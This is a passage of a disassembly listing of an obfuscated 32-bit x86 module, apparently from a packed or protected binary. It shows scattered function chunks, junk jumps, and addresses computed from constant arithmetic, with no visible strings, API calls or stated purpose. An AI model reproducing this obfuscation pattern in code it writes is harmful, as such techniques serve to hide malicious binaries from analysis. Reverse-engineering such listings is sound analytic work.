BYTES ; FUNCTION CHUNK AT 1001A867 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001AADB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001AB36 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001AC36 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 1001ACE6 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 1001AD9F SIZE 0000000A BYTES ; FUNCTION CHUNK AT 1001ADC5 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001AE7E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001AF47 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 1001AF7E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001B22F SIZE 00000012 BYTES ; FUNCTION CHUNK AT 1001B29D SIZE 0000000C BYTES ; FUNCTION CHUNK AT 1001B32B SIZE 00000017 BYTES ; FUNCTION CHUNK AT 1001B352 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001B503 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 1001B552 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 1001B7D9 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001B85B SIZE 00000015 BYTES ; FUNCTION CHUNK AT 1001B9D5 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 1001BA1A SIZE 0000000D BYTES ; FUNCTION CHUNK AT 1001BC4B SIZE 00000017 BYTES ; FUNCTION CHUNK AT 1001C3B7 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 1001C40E SIZE 00000010 BYTES ; FUNCTION CHUNK AT 1001C46B SIZE 0000000F BYTES ; FUNCTION CHUNK AT 1001C629 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 1001C699 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 1001C772 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 1001C7B9 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 1001CB43 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001CB97 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001CBCF SIZE 0000001C BYTES ; FUNCTION CHUNK AT 1001CE4E SIZE 00000022 BYTES ; FUNCTION CHUNK AT 1001CEBD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001CEF4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001D0E5 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 1001D104 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 1001D234 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 1001D35C SIZE 0000001C BYTES ; FUNCTION CHUNK AT 1001D446 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 1001D452 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001D4A8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001D4F4 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 1001D5EC SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001D67E SIZE 00000006 BYTES ; FUNCTION CHUNK AT 1001D689 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 1001D727 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 1001D761 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001D7AF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001D817 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001DA37 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001DA51 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 1001DA9D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001DB29 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 1001DC49 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 1001DE81 SIZE 00000007 BYTES xchg eax, [esp+0] pop eax jnz loc_1001B503 mov eax, [ebp-4] cmp byte ptr [eax], 0 jnz loc_10013573 mov eax, [ebp-8] mov byte ptr [eax], 0 jmp loc_1001B352 ; --------------------------------------------------------------------------- loc_100133AA: ; CODE XREF: an.kk9rg:1001907Aj ; sub_10013310+797Fj push 5118BE37h pop eax add eax, 5A2DAB0Ah test eax, 40h jmp loc_1001AB36 ; --------------------------------------------------------------------------- loc_100133C1: ; CODE XREF: sub_10013389+6F27j shl eax, 4 loc_100133C4: ; CODE XREF: sub_10014CDF+656Ej jge loc_10015905 popf loc_100133CB: ; CODE XREF: sub_10013389:loc_1001A2A2j ; an.kk9rg:1001DCADj rol eax, 0Eh cmp eax, 1476D726h jmp loc_10015CA8 ; --------------------------------------------------------------------------- loc_100133D9: ; CODE XREF: sub_1001ACEF-2F00j mov eax, [ebp+8] mov eax, [eax-10h] shr eax, 6 mov [ebp-10h], eax mov eax, [ebp+8] mov eax, [eax-10h] jmp loc_1001C629 ; --------------------------------------------------------------------------- loc_100133F0: ; CODE XREF: sub_10013389+4A89j jb loc_100181B0 add ecx, 65F77B79h xchg ecx, [ebx] loc_100133FE: ; CODE XREF: an.kk9rg:loc_10019DF2j jbe loc_10019D94 jmp loc_100148B9 ; --------------------------------------------------------------------------- loc_10013409: ; CODE XREF: sub_1001C799:loc_10013086j and ebx, 0F8A4F8E6h loc_1001340F: ; CODE XREF: sub_1001492C+5C4Bj add ebx, 0CFE083AFh push offset sub_100192DD jmp nullsub_97 ; --------------------------------------------------------------------------- loc_1001341F: ; CODE XREF: sub_10019269:loc_10013A55j ; an.kk9rg:loc_10017D80j xchg esi, [esp-4+arg_0] mov ebp, esi loc_10013424: ; CODE XREF: sub_10016734:loc_10017CA8j pop esi mov eax, ds:dword_1001819C push offset loc_10015A2E jmp nullsub_15 ; --------------------------------------------------------------------------- loc_10013435: ; CODE XREF: an.kk9rg:1001A6A3j mov eax, [eax] push offset sub_1001D913 jmp loc_10016DF8 ; --------------------------------------------------------------------------- loc_10013441: ; CODE XREF: sub_10013A6A+5j push 0E17F2C89h pop edx add edx, 7775F1EDh xor edx, 0C9EC4E53h and edx, 970D25EFh xor edx, 0C6F00640h add edx, ebp add edx, 0A806F997h jmp loc_10017583 ; --------------------------------------------------------------------------- loc_1001346C: ; CODE XREF: sub_10018776:loc_10018782j not ecx jmp loc_100165C3 ; --------------------------------------------------------------------------- loc_10013473: ; CODE XREF: sub_10014A06:loc_1001B2AAj jz loc_1001508F jmp loc_1001AF7E ; --------------------------------------------------------------------------- loc_1001347E: ; CODE XREF: sub_10013061:loc_1001DEF5j jnz loc_100142BE jmp loc_10016782 ; --------------------------------------------------------------------------- loc_10013489: ; CODE XREF: sub_1001DC8F:loc_10017C74j cmp ds:dword_10019654, 0 jz loc_10013B95 call sub_1001C830 loc_1001349B: ; CODE XREF: sub_10014A76-CCj ; sub_10015BFC:loc_10018711j jmp loc_100187DF ; --------------------------------------------------------------------------- loc_100134A0: ; CODE XREF: sub_1001CB33-75F3j mov [edi], esi loc_100134A2: ; CODE XREF: sub_1001CB33:loc_10019126j mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_1001D689 jmp loc_1001551C ; --------------------------------------------------------------------------- loc_100134B3: ; CODE XREF: sub_1001492C:loc_1001D44Dj add eax, ds:100000C7h or eax, 0FE8CC715h xor eax, 0A1A4914h add eax, ebp add eax, 0B5849D9h mov eax, [eax] cmp byte ptr [eax], 0F1h jmp loc_10018273 ; --------------------------------------------------------------------------- loc_100134D7: ; CODE XREF: sub_1001DE48-8B86j cmp dword ptr [eax-4], 4 jnz loc_1001ACE6 push offset loc_1001ACDD jmp nullsub_16 ; --------------------------------------------------------------------------- loc_100134EB: ; CODE XREF: sub_1001CA76+Aj xor edx, 0A73C493Fh call sub_1001A533 loc_100134F6: ; CODE XREF: sub_10018DE4+10j jmp nullsub_17 ; --------------------------------------------------------------------------- loc_100134FB: ; CODE XREF: sub_10013389+603Ej sbb edi, eax loc_100134FD: ; CODE XREF: sub_10013389:loc_100193BCj add eax, 7EE56948h add eax, ebp add eax, 0AD1B233Dh mov eax, [eax] cmp byte ptr [eax], 0F1h jnz loc_10019C7F jmp loc_1001CB97 ; --------------------------------------------------------------------------- loc_1001351B: ; CODE XREF: sub_1001A533+B0j adc eax, 0F5476948h ja loc_1001AADB jmp loc_1001B552 ; --------------------------------------------------------------------------- loc_1001352C: ; CODE XREF: sub_100181E1:loc_10013BCFj pop edx sub edx, 2224AF11h add edx, 0B471D025h mov edx, [edx] or edx, edx jnz loc_1001A7D4 jmp loc_1001D5EC ; --------------------------------------------------------------------------- xor ecx, edi cdq jmp sub_10018A31 ; --------------------------------------------------------------------------- loc_10013550: ; CODE XREF: sub_100170BC:loc_1001DAD8j push offset sub_100143F5 jmp loc_1001967E ; --------------------------------------------------------------------------- locret_1001355A: ; CODE XREF: sub_10017811:loc_1001408Dj retn ; --------------------------------------------------------------------------- loc_1001355B: ; CODE XREF: an.kk9rg:loc_10018476j xchg ebx, [esp+4+var_4] mov esp, ebp push offset sub_1001DCDB jmp nullsub_18 ; --------------------------------------------------------------------------- loc_1001356A: ; CODE XREF: sub_10018901:loc_100166A4j mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- loc_1001356E: ; CODE XREF: an.kk9rg:100171FAj jmp loc_1001B85B ; --------------------------------------------------------------------------- loc_10013573: ; CODE XREF: sub_10013389+10j ; sub_10018901+3j mov eax, [ebp-4] mov al, [eax] jmp loc_1001825E sub_10013389 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_102. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_1001357E proc near ; DATA XREF: sub_10017F49+30Bo ; FUNCTION CHUNK AT 1001432F SIZE 00000005 BYTES xor eax, 80E99959h add eax, ebp add eax, 0A6E05978h mov eax, [eax] push offset sub_10015C95 jmp loc_1001432F sub_1001357E endp ; --------------------------------------------------------------------------- push ecx ; START OF FUNCTION CHUNK FOR sub_1001A97E loc_10013599: ; CODE XREF: sub_1001A97E-4418j mov ecx, eax xchg ecx, [esp+0] ror eax, 18h push edi push 0C8818BF9h pop edi rol edi, 2 jmp loc_1001C6CC ; END OF FUNCTION CHUNK FOR sub_1001A97E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018066 loc_100135B0: ; CODE XREF: sub_10018066:loc_1001446Bj jnz loc_1001437D ; END OF FUNCTION CHUNK FOR sub_10018066 ; START OF FUNCTION CHUNK FOR sub_1001620D loc_100135B6: ; CODE XREF: sub_1001620D-ABj jmp loc_1001C0C6 ; END OF FUNCTION CHUNK FOR sub_1001620D ; --------------------------------------------------------------------------- or ebx, 0D651CF77h shr eax, 5 push 11CE4FF4h jmp loc_10014379 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C9F8 loc_100135CE: ; CODE XREF: sub_1001C9F8-6ACCj jl loc_1001A051 test ebx, edi jmp loc_1001A046 ; END OF FUNCTION CHUNK FOR sub_1001C9F8 ; --------------------------------------------------------------------------- or edx, edi ; START OF FUNCTION CHUNK FOR sub_10016D04 loc_100135DD: ; CODE XREF: sub_10016D04:loc_10015F08j jmp loc_1001CC67 ; END OF FUNCTION CHUNK FOR sub_10016D04 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019409 loc_100135E2: ; CODE XREF: sub_10019409-44E5j add eax, esi and edx, esi jmp loc_100132DD ; --------------------------------------------------------------------------- loc_100135EB: ; CODE XREF: sub_10019409-4D1Fj sub al, 99h push 30D9385h pop edx jmp loc_1001C0B1 ; END OF FUNCTION CHUNK FOR sub_10019409 ; --------------------------------------------------------------------------- jl loc_1001546C ja loc_10016304 jmp sub_100141E3 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_93. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D11D loc_1001360A: ; CODE XREF: sub_1001D11D+7j jmp loc_10017323 ; END OF FUNCTION CHUNK FOR sub_1001D11D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A2CC loc_1001360F: ; CODE XREF: sub_1001A2CC+1DF5j jmp loc_10016984 ; END OF FUNCTION CHUNK FOR sub_1001A2CC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001893F loc_10013614: ; CODE XREF: sub_1001893F+3175j jmp loc_10016979 ; END OF FUNCTION CHUNK FOR sub_1001893F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_10013619: ; CODE XREF: sub_10016D66-223Cj jmp loc_1001B60F ; END OF FUNCTION CHUNK FOR sub_10016D66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D50B loc_1001361E: ; CODE XREF: sub_1001D50B+1Aj push offset sub_100186DF jmp loc_100198B2 ; END OF FUNCTION CHUNK FOR sub_1001D50B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015E0D loc_10013628: ; CODE XREF: sub_10015E0D+729Ej jz loc_10013A06 jmp loc_100132D6 ; END OF FUNCTION CHUNK FOR sub_10015E0D ; --------------------------------------------------------------------------- loc_10013633: ; CODE XREF: an.kk9rg:10018E10j jge loc_1001AD3E loc_10013639: ; CODE XREF: an.kk9rg:loc_10015E5Dj call sub_10016D9F ; START OF FUNCTION CHUNK FOR sub_10019E2E loc_1001363E: ; CODE XREF: sub_10019E2E+832j jnz loc_10014F05 jmp loc_10014001 ; END OF FUNCTION CHUNK FOR sub_10019E2E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016323 loc_10013649: ; CODE XREF: sub_10016323:loc_1001798Cj mov edi, edx xchg edi, [esp+0] call sub_10015BA9 mov eax, 92B16BD7h call sub_100181E1 call sub_1001C799 ; END OF FUNCTION CHUNK FOR sub_10016323 ; START OF FUNCTION CHUNK FOR sub_1001CF40 loc_10013662: ; CODE XREF: sub_1001CF40-722j jmp loc_100169E4 ; END OF FUNCTION CHUNK FOR sub_1001CF40 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_10013667: ; CODE XREF: sub_10013389+438Fj jz loc_1001D0ED jmp loc_1001A779 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- locret_10013672: ; CODE XREF: an.kk9rg:10017093j retn ; --------------------------------------------------------------------------- loc_10013673: ; CODE XREF: an.kk9rg:1001CBA3j push esi ; START OF FUNCTION CHUNK FOR sub_100136FF loc_10013674: ; CODE XREF: sub_100136FF:loc_1001CB82j add esi, 87ECED8Ch xchg esi, [esp+0] jmp sub_100173FA ; END OF FUNCTION CHUNK FOR sub_100136FF ; --------------------------------------------------------------------------- cdq jmp loc_10015DB8 ; =============== S U B R O U T I N E ======================================= sub_10013688 proc near ; CODE XREF: an.kk9rg:10014714j ; sub_10013389+3E07p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 10014C16 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10014E46 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 100154BF SIZE 0000001F BYTES ; FUNCTION CHUNK AT 10015A30 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10015DD3 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 10016352 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 100170E6 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 100180E0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100181A5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100191BE SIZE 00000014 BYTES ; FUNCTION CHUNK AT 1001927A SIZE 00000008 BYTES ; FUNCTION CHUNK AT 100193A6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10019803 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10019D09 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 1001AA1C SIZE 0000000E BYTES ; FUNCTION CHUNK AT 1001AE94 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 1001B0F9 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001B9EF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001C38F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001CD13 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 1001CE13 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001D8D4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001DCB8 SIZE 00000023 BYTES xchg eax, [esp+0] pop eax jnz loc_1001AE94 cmp dword ptr [ebp-10h], 0 jnz loc_1001AA1C jmp loc_10019D09 sub_10013688 endp ; sp-analysis failed ; --------------------------------------------------------------------------- test ebp, eax jmp loc_1001A6EF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001564A loc_100136A8: ; CODE XREF: sub_1001564A-A62j xchg edi, ecx sbb edi, eax loc_100136AC: ; CODE XREF: sub_1001564A:loc_1001548Ej mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_1001CB7A jmp loc_1001B241 ; END OF FUNCTION CHUNK FOR sub_1001564A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100145ED loc_100136BD: ; CODE XREF: sub_100145ED:loc_10015C3Dj jge loc_10019EF6 loc_100136C3: ; CODE XREF: an.kk9rg:10013032j jmp nullsub_195 ; END OF FUNCTION CHUNK FOR sub_100145ED ; --------------------------------------------------------------------------- not ecx sub ecx, edi sbb edx, 8C305234h jmp loc_10019EF4 ; =============== S U B R O U T I N E ======================================= sub_100136D7 proc near ; CODE XREF: sub_10015DB9+794Bp arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 10013729 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10013A5F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10014909 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10014CFE SIZE 0000001C BYTES ; FUNCTION CHUNK AT 10015261 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 1001577D SIZE 00000008 BYTES ; FUNCTION CHUNK AT 10015855 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100159D8 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 10015E16 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 10016294 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001698F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10016BC5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10016CAC SIZE 00000013 BYTES ; FUNCTION CHUNK AT 10017DA7 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 10018851 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10018E3D SIZE 00000019 BYTES ; FUNCTION CHUNK AT 10019725 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100198A0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10019C03 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 10019FBE SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001A031 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 1001A637 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 1001A91C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001AD33 SIZE 00000003 BYTES ; FUNCTION CHUNK AT 1001AD66 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001B029 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 1001B7E4 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 1001B92A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001C149 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001C74B SIZE 0000000D BYTES ; FUNCTION CHUNK AT 1001C86B SIZE 0000001D BYTES ; FUNCTION CHUNK AT 1001D01D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001D595 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 1001D776 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 1001D7B4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001D91E SIZE 0000001A BYTES ; FUNCTION CHUNK AT 1001DEEF SIZE 00000005 BYTES xchg edx, [esp+0] pop edx add edx, 0FA95DB25h mov edx, [edx] loc_100136E3: ; CODE XREF: sub_100174F4:loc_10019546j imul byte ptr [edx] cmp al, 0A4h jmp loc_100198A0 sub_100136D7 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013061 loc_100136EC: ; CODE XREF: sub_10013061+35E6j ; sub_10013061:loc_100175F5j push ecx mov ecx, ebp push offset loc_10015617 jmp nullsub_157 ; END OF FUNCTION CHUNK FOR sub_10013061 ; --------------------------------------------------------------------------- loc_100136F9: ; CODE XREF: an.kk9rg:1001478Bj ja loc_10018D0A ; =============== S U B R O U T I N E ======================================= sub_100136FF proc near ; CODE XREF: sub_1001564A:loc_1001A529p var_8 = dword ptr -8 ; FUNCTION CHUNK AT 10013674 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 100157BA SIZE 00000011 BYTES ; FUNCTION CHUNK AT 10018081 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10018B9D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001CB82 SIZE 00000006 BYTES xchg esi, [esp+0] pop esi push 0B2674EC6h pop esi xor esi, 3CF2C1B5h jmp loc_10018081 sub_100136FF endp ; sp-analysis failed ; --------------------------------------------------------------------------- jmp ds:dword_10002010 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014698 loc_1001371A: ; CODE XREF: sub_10014698+69F9j jmp nullsub_145 ; END OF FUNCTION CHUNK FOR sub_10014698 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] dd offset loc_1001DE27 ; --------------------------------------------------------------------------- jmp loc_1001B735 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100136D7 loc_10013729: ; CODE XREF: sub_100136D7+A0A7j xor eax, 8E912677h loc_1001372F: ; CODE XREF: sub_100142E8+1846j ; sub_100136D7:loc_1001698Fj ... jmp loc_1001DEEF ; END OF FUNCTION CHUNK FOR sub_100136D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100142E8 loc_10013734: ; CODE XREF: sub_100142E8+169j ; sub_100136D7+795Bj pop ecx xchg esi, [esp-4+arg_0] jmp loc_100188BA ; END OF FUNCTION CHUNK FOR sub_100142E8 ; --------------------------------------------------------------------------- jge loc_100156D4 jmp loc_1001D11B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001679F loc_10013748: ; CODE XREF: sub_1001679F:loc_1001DEC9j jz loc_100171C5 jmp loc_10015C27 ; END OF FUNCTION CHUNK FOR sub_1001679F ; =============== S U B R O U T I N E ======================================= sub_10013753 proc near ; DATA XREF: an.kk9rg:1001B3F4o ; FUNCTION CHUNK AT 100191A1 SIZE 0000001D BYTES push edi push 12BD100Ah pop edi add edi, 75773CB1h jnz loc_100191A1 sub_10013753 endp ; START OF FUNCTION CHUNK FOR sub_10019409 loc_10013766: ; CODE XREF: sub_10019409+3977j jmp loc_10014200 ; END OF FUNCTION CHUNK FOR sub_10019409 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001DD1D loc_1001376B: ; CODE XREF: sub_1001DD1D-4EE5j jmp nullsub_221 ; END OF FUNCTION CHUNK FOR sub_1001DD1D ; --------------------------------------------------------------------------- or edi, 0DB505490h jmp loc_1001919F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015B5D loc_1001377B: ; CODE XREF: sub_10015B5D+1D21j mov [ebp-1Ch], eax loc_1001377E: ; CODE XREF: an.kk9rg:loc_10016C71j inc dword ptr [ebp-20h] call sub_1001D862 loc_10013786: ; CODE XREF: sub_10015C77+4j sub al, 99h mov edx, [ebp-4] imul byte ptr [edx] cmp al, 0A4h jz loc_10018C2A jmp loc_1001D060 ; END OF FUNCTION CHUNK FOR sub_10015B5D ; --------------------------------------------------------------------------- loc_1001379A: ; CODE XREF: an.kk9rg:loc_1001D03Ej push 3A6D6B2Fh pop eax and eax, 1B7B813Eh sub eax, 8F4211BEh xor eax, 9520BC31h test eax, 80000000h loc_100137B8: ; CODE XREF: an.kk9rg:1001CAD6j jmp loc_10014A4F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013044 loc_100137BD: ; CODE XREF: sub_10013044:loc_10015939j add eax, 0E997C5A4h loc_100137C3: ; CODE XREF: sub_10015066+86B6j mov eax, [eax] loc_100137C5: ; CODE XREF: sub_10017CF8:loc_1001754Fj call sub_1001828B loc_100137CA: ; CODE XREF: sub_1001701B+B17j jnz loc_10017AE7 jmp loc_1001CC77 ; END OF FUNCTION CHUNK FOR sub_10013044 ; --------------------------------------------------------------------------- loc_100137D5: ; CODE XREF: an.kk9rg:1001CA54j push ebx ; =============== S U B R O U T I N E ======================================= sub_100137D6 proc near ; CODE XREF: sub_10015E3A+BD7p ; sub_10017BF9+1E6Dj xchg edx, [esp+0] pop edx mov edx, [ebp-4] imul byte ptr [edx] cmp al, 0A4h jz loc_1001468E jmp loc_10017E7C sub_100137D6 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019409 loc_100137EC: ; CODE XREF: an.kk9rg:loc_10016142j ; sub_10019409:loc_1001A84Ej ror eax, 0Bh mov ds:dword_1001B740, eax retn ; END OF FUNCTION CHUNK FOR sub_10019409 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015086 loc_100137F6: ; CODE XREF: sub_10015086+6696j jmp sub_100181E1 ; END OF FUNCTION CHUNK FOR sub_10015086 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015353 loc_100137FB: ; CODE XREF: sub_10015353+Cj jmp loc_10019F6F ; END OF FUNCTION CHUNK FOR sub_10015353 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015E0D loc_10013800: ; CODE XREF: sub_10019409+3971j ; sub_10015E0D+7298j rol eax, 0Bh push edx mov edx, eax xchg edx, [esp+4+var_4] call sub_100174F4 jmp loc_10019A22 ; END OF FUNCTION CHUNK FOR sub_10015E0D ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_31. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_10013814: ; CODE XREF: sub_10013389+68F9j mov ecx, ebp pop ebp xchg edi, [esp-8+arg_4] mov ebp, edi pop edi retn ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017CF8 loc_1001381E: ; CODE XREF: sub_10017CF8:loc_100164EEj jmp loc_10019931 ; END OF FUNCTION CHUNK FOR sub_10017CF8 ; --------------------------------------------------------------------------- push edx jmp loc_100199F3 ; --------------------------------------------------------------------------- loc_10013829: ; CODE XREF: an.kk9rg:1001B063j xor ebx, ecx ; START OF FUNCTION CHUNK FOR sub_1001590F loc_1001382B: ; CODE XREF: sub_1001590F:loc_1001D9F7j xor edi, 0D3F6B85Ch call sub_1001492C ; END OF FUNCTION CHUNK FOR sub_1001590F ; START OF FUNCTION CHUNK FOR sub_10013061 loc_10013836: ; CODE XREF: sub_10013061+199Aj jmp loc_1001C860 ; END OF FUNCTION CHUNK FOR sub_10013061 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001534D loc_1001383B: ; CODE XREF: sub_1001534D:loc_100181B5j mov ebp, esp jnb sub_10018C61 push offset sub_1001C758 jmp nullsub_32 ; END OF FUNCTION CHUNK FOR sub_1001534D ; =============== S U B R O U T I N E ======================================= sub_1001384D proc near ; DATA XREF: sub_10017A58-2255o push esi push 853AC92Dh pop esi xor esi, 287B9C2Dh push offset sub_1001988C jmp nullsub_215 sub_1001384D endp ; --------------------------------------------------------------------------- or eax, eax jnz loc_10014461 jmp loc_10014790 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C26A loc_10013871: ; CODE XREF: sub_1001C26A-6528j add ecx, edi xor esi, ebx loc_10013875: ; CODE XREF: sub_1001C26A:loc_100141CDj push offset loc_10017CE4 jmp nullsub_95 ; END OF FUNCTION CHUNK FOR sub_1001C26A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001387F: ; CODE XREF: sub_10013389+81Fj push offset sub_100182A3 jmp nullsub_19 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001997C loc_10013889: ; CODE XREF: sub_1001997C:loc_10018E74j and edi, 3434E3E0h jns loc_1001922F ; END OF FUNCTION CHUNK FOR sub_1001997C ; START OF FUNCTION CHUNK FOR sub_10015BFC loc_10013895: ; CODE XREF: sub_10015BFC+567Cj jmp loc_1001A937 ; END OF FUNCTION CHUNK FOR sub_10015BFC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C799 loc_1001389A: ; CODE XREF: sub_1001C799-68E0j jmp loc_1001483D ; END OF FUNCTION CHUNK FOR sub_1001C799 ; --------------------------------------------------------------------------- add eax, ebp cmp edi, 2505BE78h jmp loc_10017B37 ; --------------------------------------------------------------------------- mov [edx], eax mov esi, 0BF10757Eh jmp sub_10017EFB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019030 loc_100138B8: ; CODE XREF: sub_10019030:loc_10016D25j mov ebp, esp js sub_100138FD add esp, 0FFFFFFF8h mov [ebp-8], edx mov [ebp-4], eax jmp loc_10018BA2 ; END OF FUNCTION CHUNK FOR sub_10019030 ; 